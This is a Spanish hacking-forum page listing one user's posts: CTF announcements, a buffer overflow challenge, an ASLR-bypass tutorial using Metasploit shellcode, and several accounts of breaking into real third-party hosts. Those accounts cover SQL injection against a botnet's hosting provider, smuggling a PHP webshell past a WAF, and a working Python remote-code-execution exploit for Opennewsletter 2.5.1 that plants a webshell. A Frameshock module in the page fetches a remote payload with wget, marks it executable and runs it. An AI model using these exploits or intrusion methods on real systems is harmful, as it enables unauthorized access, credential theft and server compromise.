Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - q3rv0

#1
Wargames y retos / Gánate una entrada para la eko14 papa!!
Septiembre 17, 2018, 06:52:53 PM
Volví y en forma de CTF!!. Estas sin un mango y no podes garparte una entrada a la EKO? tira tus skills de kaker en el pre CTF de infobyte y participa por una entrada gratis a la mejor conferencia de seguridad latinoamericana (dragonball no existe) papa!

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


#2
Wargames y retos / Consigue el flag
Agosto 03, 2015, 05:35:17 PM
Como el nombre lo dice deberan obtener el flag y enviarmelo por MP, cortito y al pie.

Enjoy!

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Ganadores:

1- overxfl0w13
2- PerverthsO
3- hdbreaker
#3
Bugs y Exploits / Cazador de Botnets: [Zeus]
Julio 09, 2015, 08:21:45 PM

By [Q]3rV[0]

Quien no fantaseo alguna vez con tener miles y miles de ordenadores bajo su poder?, no me refiero con el objetivo de desatar un caos o incluso robar masivamente información, sino para simplemente, tener el profundo sentimiento de "control". O hablando desde el otro "lado" a quien no se le ocurrio la idea de desbaratar botnets alguna vez?, cazarlas por el simple echo de ver que ahí adentro, descubrir el numero de  maquinas que cayeron bajo su poder? y quizá hasta tomar el control?. Bueno, este post va dedicado a esta ultima fantasía.

Como encontramos una botnet?

Vamos a lo primero, para cazar una botnet hay que localizarla, existen diversos servicios online que se dedican al traceo de estas, en los que se publican el path del C&C, información de los ejecutables usados para la infección, el tipo de botnet, etc.


Cybercrime-tracker


La cual mantiene archivado una gran diversidad de malware como la botnet Blackhole, Citadel, Zeus, Pony, IceIX, VertexNet entre otras.



No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Otra de gran utilidad es No tienes permitido ver los links. Registrarse o Entrar a mi cuenta contando con un tracker para la Zeus, Feodo, Palevo y la SpyEye.


Posiblemente existan otras listas de botnets, pero por el momento son las unicas que conozco.

También podemos hacer uso de algún motor de búsqueda como google. Implementando uno que otro google dork llevándonos por las estructura del panel que deseemos localizar, por ejemplo, la ruta del C&C por defecto en la botnet Zeus es el siguiente: /cp.php?m=login.

Código: text
inurl:/cp.php?m=login


De ahí en mas podríamos ir variando, ya que probablemente el responsable haya echo algunas modificaciones al script, incluso cambiado el nombre, en fin todo va en el ensayo y error. Tal vez nos topemos con alguna que otra semi camuflada.

Código: text
inurl:/adm.php?m=login


Código: text
intext:"Remember (MD5 cookies)" ext:php




Hosting1

Partamos por el punto de que una botnet puede estar montada en un:

-Servicio de hosting free
-Servicio de hosting pago
-Hosting hacked
-VPS

En mi caso se hallaba alojada en lo que parecía ser un servicio de hosting pago, llamémoslo No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.


A simple vista me atrevía a decir que el encargado del malware obtuvo acceso ilícito, por lo que lo mas seguro es que la web presentara alguna que otra vulnerabilidad que me permitiese la entrada, si es que no fue parcheada por el atacante, para alejar a los curiosos.

Realmente aun quedaba alguna que otra brecha.


Fijémonos haber que hay detrás del panel.



Un upload bastante jodido y otra SQLI. Luego de realizar varios intentos decidí dejar de lado la subida de ficheros, pero si podía inyectar comandos en la db, solo tenia que buscar la tabla con las credenciales de la botnet.


Por desgracia no había rastros de la Zeus.



Lo mas probable es que corra con un usuario diferente.


Después de navegar por la aplicación, me encontré con la zona de acceso a clientes.


Evidentemente trabajaba con otro user ya que las credenciales del formulario no estaban en la anterior base de datos. Así que me registre para ponerme en busca de alguna inyección u otra abertura que me de acceso.
Al rato termine por darme por vencido y decidí ir por otra via, enumerar los dominios en el servidor, tratar de acceder mediante alguno de ellos y así escalar hasta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.



Evilnet

El proveedor de hosting, llamémoslo "Evilnet", por motivos obvios no voy a dar nombres. Evilnet ofrece servicio de hosting, diseño y programación web, varios dominios que pertenecen a Evilnet, usan la misma estructura de CMS, el mismo con el que corre nuestro hosting1.com  por  acá tenemos otro similar y por supuesto junto con la misma SQLI :)



Si no leíste el articulo "Engañando al WAF con XMP" podes ingresar al siguiente No tienes permitido ver los links. Registrarse o Entrar a mi cuenta donde detallo como conseguí acceso al servidor mediante No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Siguiendo con el apartado cabe destacar algo interesante que me encontré mediante la recolección de información:

    -Ambas webs usan el mismo password en el formulario de administración.

    -Ambas webs cuentan con el mismo password en la base de datos (el mismo que usan para acceder al panel, no es joda!).


Parece que el administrador de Evilnet no tiene buena memoria y prefiere usar la misma llave para todo, podría apostar que este "descuido" por llamarlo de manera elegante, se repite en los demás dominios bajo su autoría. Con este criterio quien sabe, si llegara a probar, hasta me podría cargar el facebook y el twitter del admin o hasta la sesión ssh personal, espero no llegarle hasta abajo de la cama jeje!.

Pero en fin ya estaba dentro de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, solo me faltaba escalar hasta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, lo primero que hice fue tratar de leer el fichero de configuración de la botnet que se encuentra en el directorio base /system/config.php, mediante la creación de un enlace simbólico, pero para mi mala suerte no funciono. Entonces recordé el descuido del administrador e intente ingresar con la llave maestra por así decirlo, mediante otro usuario en la db que pertenezca a No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, por lo que veía, la estrutura de nombres tiene la siguiente regla:

"Nombre que hace referencia al dominio"_XXXXXXX

ya había intentado loguearme como hosting1_xxxxxxx, entonces fui probando diversas combinaciones de usuarios.

Hasta que logre ingresar como hosting1 solamente, el cual tenia acceso a todas las dbs dentro de la aplicación.


Ya habiendo identificado la preciada base de datos.


Restaba consultar las credenciales en la tabla cp_users y rogar obtener el hash md5 en claro.


Afortunadamente el hashe del admin estaba presente en md5online.




La Zeus

Una vez dentro termine un poco decepcionado al respecto, creí que podía encontrarme con una mayor cantidad de bots, y para peor no había uno solo en pie.


Aunque contaba con una respetable cantidad de reportes sobre credenciales pop3 y http.



Una cosa interesante, es que el reports path de la botnet apuntaba al home de hosting1.


Por lo tanto podía navegar libremente a través del file browser y descargar ficheros a diestra y siniestra.



De no haber sido así, solo tenia que ir a options y editar el path con tantos directorios transversales sean necesarios para llegar al home.




Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#4
Bugs y Exploits / Solucionarios Darknet 1.0
Julio 06, 2015, 09:03:41 PM


Aca les dejo los solucionarios de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta que me fueron enviados, para quienes no lograron llegar al final o los que no encontraron la forma de avanzar en el desafio. Me hubiese gustado que al menos uno fuese de autoria hispana, pero bueno, la proxima sera, ya que pienso sacar una futura version de esta VM.

Aviso! si no conocias Darknet, tomate un tiempo para jugar con ella antes de leer alguno de los papers.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Enjoy!

#5
Bugs y Exploits / Engañando al WAF con XMP
Mayo 26, 2015, 05:58:24 PM

Me encontraba tratando de acceder a un hosting por X motivos, digamos que había "algo" interesante para llevarlo a uno a meterse donde no lo invitan, probablemente mas adelante le dedique un apartado en este blog a ese "algo", pero por ahora se los dejare picando. Una vez que había logrado evadir el formulario de autentificación que me llevaba a la zona del admin lo demás parecía sencillo, subir shell mediante uno de los uploads. Había dos tipos: de imagenes y de ficheros pdf.


Este ultimo no realizaba ningún tipo de control sobre la extención del archivo que se le pasaba, pero al momento de enviar la shell era redirigido hacia una respuesta 406.


Me suena a WAF!, ¿sera ModSec?

Al comienzo creí que el WAF filtraba funciones peligrosas como popen, system, shell_exec, etc, pero a medida que probaba me fui dando cuenta de que no permitía la inclusión de los tags <? ?> directamente. Cada vez que trataba de evadir las restricciones para colar mi código seguía recibiendo el cachetazo en seco del 406, cuando se me ocurrió que podía desactivar ModSec con un .htaccess fue en vano, el 406 seguía ahí. Así que ya en las ultimas a punto de desistir tuve la idea de embeber codigo php en el EOF de una imagen del tipo png, y si!, finalmente había subido exitosamente la shell!, pero al momento de llamarla no se ejecutaba!, ¿por qué?.


Por lógica no tendría que haber problema, se tendrían que visualizar los caracteres ilegibles seguidos de mi webshell, esto ya me estaba frustrando. Supuse que quizá se trataba de algún tag abierto dentro del source de la imagen, así que me puse a relojear el code para encontrarme con una cadena que llamo poderosamente mi atención.


¿Por que el WAF no saltaba?, si incluía los tags <? ?>

Extensible Metadata Platform (XMP)

XMP es un estándar ISO creado por adobe para el registro de metadatos en formato XML en archivos pdf e imágenes.

Para cerciorarme de que el WAF realmente no restringía el pasaje de la cadena <?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> decidí subirla en limpio.


Evidentemente había logrado insertar los tags sin recibir un 406 a cambio!, por supuesto al momento de ejecutar el script aparecía un error de sintaxis debido a que lo que se encontraba entre <? ?> no se trataba de una estructura PHP valida, solo faltaba saber ¿hasta que punto controlaba el WAF la regla de la cabecera XMP?.

Jugando un poco con el string a través de ensayo y error, llegue a la conclusión de que los tags podían incluirse siempre y cuando se respete la siguiente regla.

Código: php
<?xpacket ?>


Entonces para disfrazar esta oportunidad y que mi script pasara desapercibido ante ModSec, se me ocurrió crear una función llamada xpacket que iba a contener la instrucción a ejecutar, en este caso descargar una webshell en el servidor.


De esta manera logre hacer a un lado las restricciones para tener una consola de comandos web limpia dentro del hosting.


Probablemente existan muchas otra maneras de saltarse el firewall web, pero esta me pareció de los mas interesante, además de que surgió de la persistencia con un toque de suerte ;)

Saludos!

Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#6
Wargames y retos / Darknet 1.0 podras Pwnearla?
Abril 29, 2015, 10:49:55 PM

La persistencia bloguera no es mi fuerte y ya hacia rato que no publicaba nada nuevo, de a lapsos durante el tiempo libre me vi enfocado a la creación de una nueva VM que pudiera ser digna del nivel de #Vulnhub, creo que me acerque lo mas que pude, nació así Darknet, una maquina virtual vulnerable para el desarrollo de laboratorios 100% Secsignal!.

Que nos tiene preparado Darknet?

No me gusta hacer spoiler y sobre todo de un reto de estas características, así que voy a tratar de ser lo mas escaso posible al tratar de describirla. Darknet tiene un poco de todo, una salsa con un toque de enrosque y frustración que espero lleve horas de migrañas y diversión para el que se atreva a conquistar sus aposentos.
Como se acostumbra el objetivo sera leer el contenido del fichero /root/flag.txt, obviamente una vez escalado los privilegios necesarios para cumplir con el cometido.


La imagen podrán montarla con VirtualBox. La maquina posee DHCP activo así que una vez lista asignara automaticamente una ip de red, el paso siguiente sera identificar el objetivo y  descubrir el/los servicio/s para que comience el juego. Buena suerte!.

Si desean enviar sus solucionarios en formato pdf pueden hacerlo a la siguiente dirección: s3csignal[at]gmail[dot]com

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Disfruten!

Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#7
Wargames y retos / Reto Exploiting / Level [very easy]
Febrero 22, 2015, 06:07:31 AM
Lograr que el binario arroje el mensaje "You fucked me!".

Enviar exploit por inbox.

Código: c
#include <stdio.h>

int main(int argc, char **argv){
    int fuckme=66;
    char buffer[100];
    gets(buffer);
    if(fuckme==0x10245644){
        printf("You fucked me!");
}
    return 0;

}
#8
Bugs y Exploits / Programa tu modulo para Frameshock
Febrero 08, 2015, 05:30:13 PM

Recientemente y de la mano de mi amigo hdbreaker salio a la luz un nuevo framework de explotacion llamado Frameshock, el cual promete ser una herramienta que a futuro, llegue a competir con el imponente Metasploit. Lo mejor de esta tool es que esta basada completamente en python y el desarrollo de exploits, auxiliares, etc se hace tremendamente sencillo debido a la manera en que trata los modulos.

En fin, basta de chicharas y vamos a evocarnos a lo que el titulo llama. Antes de proseguir con el resto del tutorial, se tiene en cuenta que el lector cuenta con conocimientos de POO en el lenguaje python.

*** ADVERTENCIA *** Si estas leyendo esto y todavía no te encontras familiarizado con el framework, podes ver el siguiente enlace No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Estructura de los módulos

La estructura de los módulos es la siguiente, y lo único a respetar durante el desarrollo.

Código: python
# -*- coding : utf-8 -*-
import sys
sys.path.append('.')
from config import config
from tabulate import tabulate

class module(config):

    def __init__(self):
        self.config=config()
        self.cur = self.config.getCursor()
        self.con = self.config.getCon()
        self.targets=[]
        self.preExecution()

    def preExecution(self):
        while 1:
            ################Aca se definen las opciones y se cargan los argumentos################



    def exploit(self):
        if len(self.targets)>0:
            for target in self.targets:
                print "Attack "+target[1]
                ################Aca va el exploit################
        else:
            print "No hay targets"

################Aca va el metodo que contiene el exploit################
    def test(self):
        print "Attack Test"
########################################################################

##########Se inicia el modulo###########
start=module()
########################################


Como se ve:


   
Se importan módulos necesarios como sys para agregar el dir base al PATH de python: sys.path.append('.')

    Se importa el modulo config el cual contiene ciertos métodos que nos proveerán de los datos que configuramos con la opción config en el prompt de frameshock. Además es necesario para trabajar con shodan y la db si es que lo necesitamos.

    Se importa tabulate, el cual lo usaremos para mostrar informacion en forma de tabla como por ejemplo los targets seteados.

La clase module()

La clase module contiene tres métodos, en __init__:

    Se inicializa el objeto config y se llama a dos métodos dentro de config

    getCursor()
    getCon()



Necesarios para trabajar con la db sqlite3, como dije anteriormente nos servirán para hacer uso de shodan, pero en este apartado no se hará referencia al mismo, aunque de igual manera se mencionaran.

    Se crea una lista vacía self.targets=[] que almacenara los objetivos que seleccionemos en modo manual.

    Por ultimo se llama al método preExecution.


preExecution()


Acá indicaremos la opciones que contendrá el modulo y cargaremos los argumentos que son pasados a través de esas opciones, tales como el target objetivo, la opción de arranque del modulo, etc. Eso va en los parámetros que necesite recibir nuestro modulo, si desean también pueden incluir una opción para desplegar información acerca del mismo, o datos del autor.
Comencemos! y a partir de acá, siéntanse libres de codear a su antojo, para nuestro ejemplo voy a portar como modulo de Frameshock un simple script que explota un rce.

Código: python
#!/usr/bin/python

import urllib2
import sys

def rce(target):
    while 1:
        command=raw_input("$> ")
        w=urllib2.urlopen(target+"www.google.com|"+command)
        print w.read()

rce(sys.argv[1])


let's go!

Arranquemos por definir la opción help. Por comodidad respecto a la sintaxis se optara por utilizar la misma que msf, pero no es algo indispensable.


Ahora continuemos con el resto de las opciones necesarias para nuestro modulo.


Sencillo no?, no hace falta explicar mucho, el código habla por si solo.

Para obtener el objetivo, hacemos un split a la cadena set target, tomamos el indice 2 y luego hacemos un append para ingresar los datos dentro de self.targets.

Para desplegar los objetivos lo hacemos con tabulate, por cuestiones de estetica, lo dije antes y lo vuelvo a decir, SIÉNTANSE LIBRES!

Si la opción elegida es exploit invoca el metodo self.exploit() que lo trataremos en el siguiente paso.
                                                     
exploit()


Tenemos dos caminos, utilizar algún payload provisto por Frameshock, o bien realizar una conexión directa. Como el handler del framework no esta el divino botón optaremos por la primera. Definiremos el método que contendrá el exploit e importaremos las librerias necesarias.

Código: python
def rce(self, target):
        command="wget%20http://"+self.config.getUrlInjector()+"%20-O%20"+self.config.getInjectorName()+"%3Bchmod%20755%20"+self.config.getInjectorName()+"%3Bpython%20"+self.config.getInjectorName()
        urllib2.urlopen(target+"www.google.com%7C"+command)


Hagamos un párate y pongamos un par de cosas en remojo.

    self.config.getUrlInjector() : Retorna la url del payload que hemos seteado desde frameshock

    self.config.getInjectorName() : Nos devolverá el nombre del payload elegido.


Entonces el metodo rce() lo único que hace es descargar nuestro payload en el servidor remoto, darle permisos de ejecución y lanzarlo contra nuestro handler.

Código: python
command="wget http://"+self.config.getUrlInjector()+" -O "+self.config.getInjectorName()+";chmod 755 "+self.config.getInjectorName()+";python "+self.config.getInjectorName() 


Lo llamamos desde exploit() y nos disponemos a probar nuestro modulo, quedando de la siguiente manera.


Código: python
# -*- coding : utf-8 -*-
import sys
sys.path.append('.')
from config import config
from tabulate import tabulate
import urllib2

class module(config):

    def __init__(self):
        self.config=config()
        self.cur = self.config.getCursor()
        self.con = self.config.getCon()
        self.targets=[]
        self.preExecution()

    def preExecution(self):
        while 1:
            ################Aca se definen las opciones y se cargan los argumentos################
            opcion=raw_input("> ")

            if opcion=="help":
                print("set target <TARGET> -> Setea el target manualmente")
                print("exit -> Cierra el modulo")
                print("show targets -> Muestra los targets seteados")
                print("clear targets -> Elimina los targets")
                print("exploit -> Inicia el modulo de ataque")

            elif opcion.find("set target")!=-1:
                target=opcion.split(' ')[2]
                self.targets.append((0, target, "Modulo para explotar un RCE", "RCE"))

            elif opcion=="exit":
                exit(0)

            elif opcion=="show targets":
                if len(self.targets)>0:
                    print tabulate(self.targets, ["ID", "TARGET", "DESCRIPCION", "MODULO"], tablefmt="grid")
                else:
                    print "No hay targets seteados"

            elif opcion=="clear targets":
                self.targets=[]

            elif opcion=="exploit":
                self.exploit()


    def exploit(self):
        if len(self.targets)>0:
            for target in self.targets:
                print "Attack "+target[1]
                ################Aca va el exploit################
                self.rce(target[1])
        else:
            print "No hay targets"

################Aca va el metodo que contiene el exploit################
    def rce(self, target):
        command="wget%20http://"+self.config.getUrlInjector()+"%20-O%20"+self.config.getInjectorName()+"%3Bchmod%20755%20"+self.config.getInjectorName()+"%3Bpython%20"+self.config.getInjectorName()
        urllib2.urlopen(target+"www.google.com%7C"+command)
########################################################################

##########Se inicia el modulo###########
start=module()
########################################


Antes que nada, lo guardaremos en el directorio /FrameShock/Modules respetando la regla del nombre.

numero_nombremodulo.py

Por ejemplo:

Si tenemos los siguiente módulos (1_moduloprueba.py, 2_moduloprueba.py, 3_moduloprueba.py), Lo agregaremos como 4_rce.py.


Estamos listos para cargar nuestro modulo de prueba.


BOOM! explotado con exito el rce!

Cabe resaltar para terminar, que en el directorio  /FrameShock/ExampleModule contamos con un modulo de ejemplo para comenzar a programar desde ahí.

Código: python
# -*- coding: utf-8 -*-
import sys
sys.path.append('.')
from config import config
from tabulate import tabulate

class module(config):


####Init configuration####
    def __init__(self):
        self.config = config()
        self.cur = self.config.getCursor()
        self.con = self.config.getCon()
        self.targets=[]
        self.preExecution()
##########################

####User define information####
    def preExecution(self):
        while(True):
            option = raw_input("> ")
            if(option=="exit"):
                exit(0)

            if(option=="help"):

                print("set target URL:PORT --> Manual Target")
                print("clear targets       --> Show Targets in module")
                print("show targets        --> Clear Targets in module")
                print("use shodan          --> Targets from Shodan Results")
                print("exploit             --> Start atack")
                print("exit                --> Close Module")

            if(option.find("set target")>-1):
                data = option.split(" ")
                data = data[2].split(":");
                target = data[0]
                port = data[1]
                self.targets.append((0,target,port,"Manual","null"))

            if(option.find("use shodan")>-1):
                self.targets=self.config.getTargets();

            if(option=="clear targets"):
                self.targets=[]
                print("Clear Done")

            if(option=="show targets"):
                if(len(self.targets)!=0):
                        print tabulate(self.targets, ["id", "IP", "PORT", "Description", "Vulnerable Module"], tablefmt="grid")
                else:
                    print "No targets"

            if(option=="exploit"):
                self.exploit()
###################################

###Exploit c0de###
    def exploit(self):
        if(len(self.targets)!=0):
            for target in self.targets:
                ###YOUR EXPLOIT CODE HERE###
                print "Atack "+target[1]+":"+target[2]
        else:
            print "No targets found";

####def custom user functions (calleable from exploit())####
    def testFunctions(self):
        print "Atack test"
#############################################################

#####Init Module#####
start = module()
#####################


Saludos! y Happy Frameshock Hacking!

Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#9
Bugs y Exploits / Del Spam a La Intrusion
Diciembre 17, 2014, 09:52:39 PM
Prologo

Hacia rato que no le echaba una ojeada al spam de mi gmail y esta vez tenia el basurin lleno, es que muchas veces uno puede encontrarse envuelto en alguna aventurita que te alegre el dia o no, en este caso mas que nada fue un poco de diversion. En fin, mientras leia los subject de los correos me pare en uno que decia: "Your account has ben blocked".



Era un mail "supuestamente" eviando desde blockchain, pero como no tenia idea que servicio estaba prestando al publico me fui directamente a la url del sitio.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



La verdad es que nunca me habia logueado en la aplicacion (segun recuerdo), es mas no tengo una cuenta referenciada a este tipo de servicios en general. Al instante y era obvio deduje que se trataba de un caso de phishing, asi que sin dudarlo segui el enlace acortado por No tienes permitido ver los links. Registrarse o Entrar a mi cuenta para afirmar lo antes predicho.



Por desgracia el path del fake no se encontraba, asi que por curiosidad quize seguir por mi parte para cersiorarme de si habia sido movido a otra ruta o es mas, para ver si lograba captar otros tipos de fraudes montados en el mismo hosting, pero...como hiba a saber eso? ...

Un poco de Google Hacking

Lo primero que hice fue arrancar a jugar con goo*, buscando diversas extenciones de ficheros, hasta que di con algo interesante.

Código: text
site:klsicci.com.my ext:txt




Archivos de configuracion en texto plano!, lamentablemente al pedirlos no se encontraban mas en la ruta, pero si google los tenia, habria que negociar con el.

Código: text
cache:http://klsicci.com.my/admintest1/config/klsiccic4.txt




Anque las credenciales podian ser viejas o con suerte, quizas, seguian en uso, no perdia nada con probar.

Trate de establer una conexion por mysql pero me nego el acceso, lo mas probable es que solo admitia conexiones desde localhost o bien mediante una lista de ips habilitadas.

Ya que conocia el user a travez del path /home/klsiccic/ informacion que habia obtenido de los ficheros cacheados, intente loguearme por ftp mediante el password de la db (Me he encontrado con muchos hostings que usan pass global para diferentes servicios), pero esta vez el ftp me reboto.

Todavia faltaba mucho por analizar, asi que segui probando con goog*.

Queria un acceso rapido, entonces pense que podria estar cacheada la webshell del atacante, si es que realmente habia usado una para obtener acceso.

Luego de persistir con un par de strings

Código: text
site:klsicci.com.my && inurl:shell




Di con el objetivo, pero nuevamente el 404.

Por un lado me incitaba a seguir buscando ya que tenia el title de la webshell que podria ser la herramienta del spammer. Hasta ahora no queria cersiorarme por completo hasta estar seguro de que fuera el autor del echo, tal vez la webshell podria pertenecer a otro intruder que nada tenia que ver con el scam.

Largue otra busqueda.

Código: text
site:klsicci.com.my && intitle:"=[ 1n73ct10n privat shell ]="




Y esta vez tenia un lindo historial, pero todos apuntaban a la misma url fallida.

Aprovechando la lista obtenida, encuentro entre los path que se le pasaban como parametro a la ex shell, un dir de nombre /opennews.





Opennewsletter es una aplicacion open-source para administrar listas de mails.

OpenBUGletter


Ravisando en exploit-db encuentro un reporte de multiples vulnerabilidades para las versiones <=2.*. Una de ellas y por cierto la mas critica hablaba de un RCE en la plataforma.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Para ser aprovechado requieria de acceso a la administracion, investigando un poco en el source de opennews el cual lo obtuve de la siguiente web.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Veo que las credenciales del admin son tomadas desde config.php y el user, pass por defecto es admin:admin.



Por suerte el fichero no habia sido retocado y pude obtener acceso.



Por razones que desconocia el exploit no lograba darme una shell en el sistema, asi que me puse a leer el codigo para ver donde se daba el bug, mirando en subscribers.php se puede ver como se abre el fichero data.dat y se ingresa el contenido de la variable $_POST['email] sin sanitizar.



En settings.php se permite renombrar el mismo a travez de la variable $_POST['db_file'] que al igual que la anterior no posee ningun tipo de filtro seguro.



Ahora que ya tenia una idea de como inyectar codigo, lo unico que quedaba era incrustar un payload en data.dat y este a su vez renombrarlo a *.php, mirando nuevamente el exploit me doy cuenta que para ingresar el codigo hace una peticion a subscribe.php (fichero que no existe en esta version de opennews (2.5.1)), ademas del pasaje de parametros por GET.



Asi que decidi codear el mio propio para realizar la explotacion.

Código: python
#!/usr/bin/env python
# Description: Opennewsletter remote code execution exploit
# Version tested: 2.5.1
# Author: q3rv0

import urllib2
import urllib
import re

class opennews_exploit:

    def __init__(self, host):
        self.host=host
        cookies=urllib2.HTTPCookieProcessor()
        opener=urllib2.build_opener(cookies)
        urllib2.install_opener(opener)

    def postSend(self, parametros, path):
        self.headers={"User-Agent":"Mozilla/5.0 (X11; Linux i686; rv:24.0) Gecko/20140319 Firefox/24.0 Iceweasel/24.4.0"}
        self.parametros=urllib.urlencode(parametros)
        self.path=path
        self.post=urllib2.Request(self.host+self.path, self.parametros, headers=self.headers)
        return urllib2.urlopen(self.post)

    def getOldDbFile(self):
        self.get=urllib2.urlopen(self.host+"settings.php").read()
        self.name=re.findall("name=old_db_file value=([\w\.\-_]+)>", self.get)
        return self.name[0]

    def verifyShell(self, path):
        try:
            self.path=path
            self.code=urllib2.urlopen(self.host+self.path)
            return self.code.getcode()
        except:
            pass

target="http://pwnedhost.com/opennews/"
shell="shell.php"
user="admin"
passwd="admin"
admin_name="Your Name"
admin_email="[email protected]"
charset="UTF-8"
site_url="http://www.yourwebsite.com"
opennews_directory="/"
payload="<?php echo `$_POST[exec]`; ?>"

rce=opennews_exploit(target)

def get_shell(shell):
    print "[*] Obteniendo la shell :)\n"
    while True:
        command=raw_input("$~: ")
        print "\n"+rce.postSend({"exec":command}, shell).read()

if rce.verifyShell(shell)==200:
    get_shell(shell)

else:
    print "\n[*] Logueando...\n"
    rce.postSend({"username":user, "password":passwd}, "index.php?action=login")
    print "[*] Insertando el payload...\n"
    rce.postSend({"email":payload}, "subscribers.php?action=add")
    print "[*] Renombrando la shell...\n"
    rce.postSend({"admin_username":user, "admin_password":passwd, "admin_name":admin_name, "admin_email":admin_email, "charset":charset, "site_url":site_url, "opennewsletter_dir":opennews_directory, "old_db_file":rce.getOldDbFile(), "db_file":shell, "action":"update"}, "settings.php")
    get_shell(shell)


Cabe decir que el codigo del exploit es a modo de POC, solo fue testeado en la version 2.5.1, podria no funcionar en versiones anteriores.

run exploit



Listo! ya estaba dentro.



Buscando rastros del scam.

Luego de darle vueltas durante un rato, entrar y salir de directorios, darle a find como loco, no pude dar con el phishing, muchas veces las aventuras nunca terminan como uno quiere, eso terminaba por confirmarme de que el admin se habia encargado de el. Pero por otra parte encontre ciertos ficheros que comprometian aun mas al spammer/intruder.

El pequeño arsenal del defacer.



Ojala les haya gustado esta hackanecdota, saludos!

Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#10
Wargames y retos / Underc0de Weekend #2 [Solucionario]
Noviembre 07, 2014, 07:05:50 PM
Durante todo el transcurso del reto semanal recibi un unico solucionario valido, el cual fue de mi amigo hdbreaker realizando correctamente los pasos que se llevan a cabo para concluir con un deafio de estas caracteristicas. Ademas se tomo el tiempo de explicar con detalle para las personas recien iniciadas en la seguridad.

Felicitaciones hd!

Nota importante

Recibi muchos pdfs en los que los participantes editaban el grub o montaban la imagen, y hasta algunos se quejaron por que les di como nula su solucion. El problema no estaba en las "pautas del reto", ya que se especifico que se trataba de un "boot2root"



No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

El problema radica en que esa gente jamaz habia jugado con un entorno virtual vulnerable de los tantos que hay en la web. Los invito a pasarse por las anteriores urls y asi encarar quien sabe, la proxima VM con otra perspectiva.

Solucionario: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#11


Esta es la tercera parte de una serie de tutoriales para aprender a explotar el buffer en sistemas Linux x86.

En el anterior apartado:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Se logro encastrar codigo ejecutable y obtener una shell, pero para lograrlo debimos desactivar previamente ASLR.  Como explique anteriormente este sistema de seguridad nos dificulta un poco las cosas randomizando la memoria.

Compilaremos el siguiente codigo que sera usado durante la realizacion de este tutorial.

Código: c
#include <stdio.h>
#include <string.h>

void funcion_vulnerable(char* input)
{
    char buffer[1000];
    strcpy(buffer, input);
}
int main(int argc, char** argv)
{
    funcion_vulnerable(argv[1]);
    return 0;
}

Verificamos que ASLR se encuentra activo.

Código: bash
cat /proc/sys/kernel/randomize_va_space
2

De otra manera lo activaremos.

Código: bash
echo 2 > /proc/sys/kernel/randomize_va_space


Ahora simplemente realizaremos los pasos descriptos en los anteriores capitulos.

Compilamos el code.
Código: bash

gcc -o vuln -fno-stack-protector -mpreferred-stack-boundary=2 -ggdb -z execstack vuln.c


Presten atencion al flag -z execstack, esto simplemente vuelve ejecutable el stack ya que NX (Non-Exec) es otra proteccion que al igual que ASLR nos va a romper bastante las pelotas denegandonos la ejecucion de un shellcode en la memoria.

Pero de todas maneras se puede evadir, tema que se tocara en el proximo tuto.

Buscamos la sobrescritura del EIP.

Código: bash
r $(python -c 'print "\x41"*1004+"\x42"*4')




Hasta aca todo muy lindo, pero todavia tenemos que saltarnos ASLR.

Una manera de hacer esto es buscando dentro del binario alguna instruccion de  llamada o salto (CALL/JMP) a algun registro. Por que si nos basamos en seguir el anterior tutorial donde sobrescribiamos el EIP con una direccion dentro de ESP que aputaba a un NOP Sled+Shellcode, simplemente no va a funcar, por el echo de que la memoria va a cambiar en cada ejecucion.

Esto podemos hacerlo con objdump.

Buscaremos la existencia de alguna instruccion CALL

Código: bash
objdump -d vuln|grep call






Perfecto, objdump nos arroja dos direcciones que llaman al registro EAX.

8048387

804840f

Entonces se nos ocurre que si podemos escribir en EAX nuestro Shellcode y pintar el EIP con la direccion CALL lograriamos realmente "pintarle la cara a ASLR".

Bien, hay una parte del buffer en EAX?

Código: bash
x/100x $eax




Como se aprecia, logramos tocar el comienzo del registro, ahora solamente nos falta generar el payload.

Ahora si nos apoyaremos en  MSF para moldear un Shellcode.

Código: bash
msf > msfpayload linux/x86/exec CMD=/bin/bash C




El unico problema que surge, es que si miramos el shellcode, este contiene "badchars", como por ejemplo la presencia de nullbytes \x00 que nos van a cortar la cadena.

Asi que le pasamos la salida a msfencode para ofuscar un poco.

Código: bash
msf > msfpayload linux/x86/exec CMD=/bin/bash R|msfencode -a x86 -e x86/alpha_mixed -b 'x\00\x0d\x0a' -t c




Fijense en el flag -b de msfencode y entre comillas la lista de badchars a evadir.

Ahora tenemos el codigo limpio y listo para agregarlo al payload que quedara de la siguiente manera.

Le restamos la longitud del Shellcode al buffer.

1004-152=852

Menos 400 NOPS que iran antes del EIP, quedando el vector de la siguiente manera

